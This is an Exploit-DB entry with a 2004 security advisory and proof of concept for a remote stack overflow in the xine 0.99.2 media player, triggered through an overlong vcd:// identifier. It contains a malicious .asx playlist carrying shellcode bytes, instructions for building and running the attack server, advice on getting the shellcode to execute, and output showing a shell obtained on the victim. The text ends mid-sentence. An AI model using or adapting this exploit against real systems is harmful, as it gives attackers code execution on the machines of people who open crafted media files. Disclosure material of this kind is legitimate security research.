Exploit-DB #386
Description: xine 0.99.2 - Remote Stack Overflow
Type: remote
Platform: linux
Date: 2004-08-09
Author: c0ntex

Exploit:
/* 

***************************************************************************************************************** 
  $ An open security advisory #6 - Xine vcd MRL input identifier 
management overflow 

***************************************************************************************************************** 
  1: Bug Researcher: c0ntex[at]open-security.org 
  2: Bug Released: July 28th 2004 
  3: Bug Impact Rate: Medium / Hi 
  4: Bug Scope Rate: Remote / Local 

***************************************************************************************************************** 
  $ This advisory and/or proof of concept code must not be used for 
commercial gain. 

***************************************************************************************************************** 

    Xine - A free video player 
    http://xinehq.de 

    "xine is a free multimedia player. It plays back CDs, DVDs, and 
VCDs. It also decodes multimedia files like AVI, MOV, WMV, and MP3 from 
    local disk drives, and displays multimedia streamed over the 
Internet. It interprets many of the most common multimedia formats available 
    - and some of the most uncommon formats, too." 

    Part 2 in the Media Mayhem saga, a name that was decided as being 
aptly fitting for the "Media Player" security audit project that the Open 
    Security Group website started at the end of May. This project 
continues finding remote exploits in popular media players for Windows and 
    Linux / UNIX derived systems. 

    Like the excellent Mplayer, Xine is a superb free media player for 
Linux. Sadly there is a generic stack based buffer overflow in all versions 
    of Xine-lib, including Xine-lib-rc5 that allows for local and remote 
malicious code execution. 

    By overflowing the vcd:// input source identifier buffer, it is 
possible to modify the instruction pointer with a value that a malicious 
attacker 
    can control. The issue can be replicated in a remote context by 
embedding the input source idientifier within a playlist file, such as 
an asx. 
    When a user plays the file, this stack overflow will occur, exploit 
code can then be executed with the rights of the user running Xine. 

    The problem slightly increases due to a usability feature. It does 
not have to be an asx extension for exploitation to succeed as Xine will try 
    to be clever and play any media type found, providing it's valid. 
This still means the attack vector MUST include the .asx input 
identifier but 
    it means you can not even trust URL's for .mp3, .mpeg, .mpg or .avi 
media. As long as Xine finds a valid media header, it's happy to change 
    the demuxer reference and play the found media. In this case it's a 
playlist file, ".asx",   though others should work. 

    Any of the following demuxors will work when running against the 
attached POC server: 

            xine --no-splash http://sunscreen/opensecurity.asx 
  xine --no-splash http://sunscreen/opensecurity.mp3 
  xine --no-splash http://sunscreen/opensecurity.mpg 
  xine --no-splash http://sunscreen/opensecurity.mpeg 
  xine --no-splash http://sunscreen/opensecurity.wma 
  xine --no-splash http://sunscreen/opensecurity.avi 
            xine --no-splash http://sunscreen/blah.blah 
            xine --no-splash http://sunscreen/ 

    There are some tricks that may have to be pulled to allow for 
successful code execution to work, primarily due to some memory corruption 
    that happens and opcode destruction. However it is easily defeated 
by either jmp'ing over the corrupt few bytes or by placing the shellcode 
    into the buffer at some known good location. 

    An example malicious .asx file: 

    sunscreen$ cat open-security.asx 
    <asx version = "3.0"> 
    <title>Open Security Media Archive</title> 
    <author>Brought to you by c0ntex[at]open-security.org</author> 
        <abstract> 
          SongList: 
          Track 1 - Open Security Rock(s) -> SOAD   - Chop Suey 
          Track 2 - Open Security Rock(s) -> Media Mayhem Militia 
        </abstract> 
                <entry> 
                <title>System Of A Down - Chop Suey</title> 
                <author>c0ntex[at]open-security.org</author> 
                <copyright>?004</copyright> 
                <Ref href = "http://sunscreen/SOAD-ChopSuey.mp3"/> 
                </entry> 
                <entry> 
                <title>All your media are belong to us!</title> 
                <author>c0ntex[at]open-security.org</author> 
                <copyright>?004</copyright> 
                <Ref href = "vcd:// 










????> "/> 
                </entry> 
    </asx> 
    sunscreen$ 

    --- 

    Example POC run: 

    sunscreen$ gcc -o xinesmine xinesmine.c -lsocket -lnsl 
    sunscreen$ ./xinesmine -a 0 -p 80 

      **   Xines_Mine - Remote proof of concept example   ** 

    [-] Uses .asx header reference to make Xine think it has valid 
    [-] reference file, then a crafted package is sent to overflow 
    [-] the vulnerable client && prove remote exploit concept. 
    [-] c0ntex[at]open-security.org {} http://www.open-security.org 

    -> Listening for a connection on port 80 


    [c0ntex@exploited xine]$ ./xine --no-splash 
http://sunscreen/opensecurity.asx 
    This is xine (X11 gui) - a free video player v0.99.2. 
    (c) 2000-2004 The xine Team. 
    Playlist file (http://sunscreen/opensecurity.asx) is invalid. 
    WARN: could not retrieve file info for `image.nrg': No such file or 
directory 
    WARN: init failed 
    WARN: open( 




1?Ph//shh/bin??PS??1?: 
    File name too long 
    WARN: could not retrieve file info for ` 





1?Ph//shh/bin??PS??1?: 
    File name too long 
    WARN: init failed 
    bash-2.05$ 


    Due to the many vulnerabilities being discovered in media players it 
is advised not to pl